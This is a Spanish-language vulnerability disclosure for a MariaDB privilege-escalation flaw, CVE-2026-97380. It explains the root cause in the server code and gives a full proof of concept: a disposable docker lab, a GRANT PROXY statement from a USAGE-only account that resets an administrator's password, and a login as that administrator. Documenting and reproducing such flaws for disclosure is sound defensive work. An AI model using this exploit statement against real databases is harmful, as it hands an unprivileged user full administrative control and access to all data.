Resumen
MariaDB arrastraba un fallo de control de acceso (CVE-2026-97380) por el que una cuenta autenticada que solo tuviera el privilegio USAGE ON *.* —es decir, ningún privilegio efectivo— podía cambiar la contraseña de un administrador ya existente y, con ella, iniciar sesión y heredar todos sus privilegios de DBA.
La clave está en la sentencia GRANT PROXY. Su gramática admite adjuntar cláusulas de autenticación al grantee (la cuenta que recibe el proxy), y MariaDB permite que un usuario conceda PROXY sobre su propia identidad. Combinando ambas cosas, el atacante concede PROXY sobre sí mismo pero encadena en el destinatario una cláusula de autenticación con dos métodos:
GRANT PROXY ON 'usage_user'@'%'
TO 'proof_admin'@'%'
IDENTIFIED VIA ''
OR mysql_native_password USING PASSWORD('AttackerChosen-2026');
El primer método de autenticación va vacío y el segundo fija una contraseña elegida por el atacante. El comportamiento defectuoso surge porque las dos rutas del servidor tratan esa lista de métodos de forma distinta:
- La comprobación de autorización, en
LEX_USER::has_auth(), solo mira el primer nodo de autenticación. Al estar vacío,has_auth()devuelvefalse, MariaDB entiende que no se está tocando ninguna credencial y se saltacheck_alter_user(), la verificación que normalmente exigiría privilegios para modificar a otro usuario:
return auth &&
(auth->plugin.length || auth->auth_str.length || auth->pwtext.length);
- La ruta de persistencia, en
replace_user_table(), recorre y almacena todos los nodos:
for (USER_AUTH *auth= combo->auth; auth; auth= auth->next)
nauth++;
Es decir: el primer nodo vacío desactiva el control de autorización, mientras que el segundo nodo (no vacío) instala la contraseña controlada por el atacante sobre la cuenta del administrador. Los privilegios originales de esa cuenta se conservan intactos.
El atacante no necesita ALTER USER, CREATE USER, acceso al esquema mysql ni una concesión PROXY previa. La única condición es que el user@host de destino exista ya y coincida con la conexión que abrirá el atacante. Se reprodujo en MariaDB 12.3.2 y en la compilación 13.1.0 del repositorio.
El investigador fijó el análisis del código fuente al commit 7322a6656a5357b4574b7413493c76ba2fc41f84 de MariaDB/server, señalando las funciones acl_check_proxy_grant_access(), copy_and_check_auth(), check_alter_user() y replace_user_table() en sql/sql_acl.cc.
Pasos de reproducción
Ejecutar únicamente contra un contenedor desechable.
Paso 1. Arrancar MariaDB
docker run --rm -d \
--name mariadb-proxy-poc \
-p 127.0.0.1:13306:3306 \
-e MARIADB_ROOT_PASSWORD='LabRoot-2026' \
mariadb:12.3.2
until docker exec mariadb-proxy-poc \
mariadb-admin -uroot -p'LabRoot-2026' ping >/dev/null 2>&1; do
sleep 1
done
Paso 2. Crear las cuentas
Una cuenta con solo USAGE (la del atacante) y un administrador con todos los privilegios (el objetivo):
docker exec mariadb-proxy-poc \
mariadb -uroot -p'LabRoot-2026' -e "
CREATE USER 'usage_user'@'%'
IDENTIFIED BY 'UsagePassword-2026';
GRANT USAGE ON *.* TO 'usage_user'@'%';
CREATE USER 'proof_admin'@'%'
IDENTIFIED BY 'OriginalAdminPassword-2026';
GRANT ALL PRIVILEGES ON *.*
TO 'proof_admin'@'%' WITH GRANT OPTION;
"
Paso 3. Disparar el fallo desde la cuenta con solo USAGE
docker exec mariadb-proxy-poc \
mariadb --protocol=tcp -h127.0.0.1 \
-uusage_user -p'UsagePassword-2026' -e "
SHOW GRANTS;
GRANT PROXY ON 'usage_user'@'%'
TO 'proof_admin'@'%'
IDENTIFIED VIA ''
OR mysql_native_password USING PASSWORD('AttackerChosen-2026');
"
La sentencia se ejecuta con éxito pese a que usage_user solo tiene USAGE.
Paso 4. Iniciar sesión con la contraseña inyectada en el administrador
docker exec mariadb-proxy-poc \
mariadb --protocol=tcp -h127.0.0.1 \
-uproof_admin -p'AttackerChosen-2026' -e "
SELECT CURRENT_USER();
SHOW GRANTS;
CREATE DATABASE proxy_takeover_proof;
"
Resultado esperado: CURRENT_USER() devuelve proof_admin@%, siguen presentes sus concesiones originales de DBA y la creación de la base de datos funciona.
Paso 5. Limpieza
docker stop mariadb-proxy-poc
Impacto
Un usuario con solo USAGE puede tomar el control de una cuenta de administrador conocida y alcanzable, y quedarse con sus privilegios de DBA existentes. Con ese nivel de acceso podría leer o modificar cualquier base de datos, crear usuarios, otorgar privilegios, cambiar la configuración del servidor e interrumpir el servicio.
El reporte tiene asignado el CVE CVE-2026-97380, clasificado por el programa como severidad high, y fue marcado como Resolved. La debilidad indicada por el programa es «Improper Access Control - Generic».